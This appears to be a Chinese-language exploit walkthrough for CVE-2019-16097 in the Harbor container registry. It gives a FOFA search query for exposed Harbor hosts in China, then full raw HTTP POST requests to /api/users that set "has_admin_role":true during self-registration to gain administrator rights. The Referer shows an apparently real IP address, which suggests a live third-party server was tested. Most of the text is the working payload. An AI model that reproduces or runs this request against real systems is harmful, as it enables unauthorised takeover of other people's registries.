Harbor未授权创建管理员漏洞(CVE-2019-16097)

环境准备

fofa搜索环境

title="Harbor" && country=CN

找到一个可用环境测试

测试

注册账号，填写账号信息后抓包

POST /api/users HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 111
Connection: close
Referer: https://103.24.179.7/harbor/sign-in?signout=true
Cookie: beegosessionID=c2309d1e5295946e5c1d59e7c63bf5a0

{"username":"whami123","email":"whoami123@qq.com","realname":"whoami123","password":"Whoami123_","comment":"2"}

在包内容里面添加"has_admin_role":true，即

POST /api/users HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 111
Connection: close
Referer: https://103.24.179.7/harbor/sign-in?signout=true
Cookie: beegosessionID=c2309d1e5295946e5c1d59e7c63bf5a0

{"username":"whami123","email":"whoami123@qq.com","realname":"whoami123","password":"Whoami123_","comment":"2","has_admin_role":true}

放包，使用注册账号登录后即为管理员权限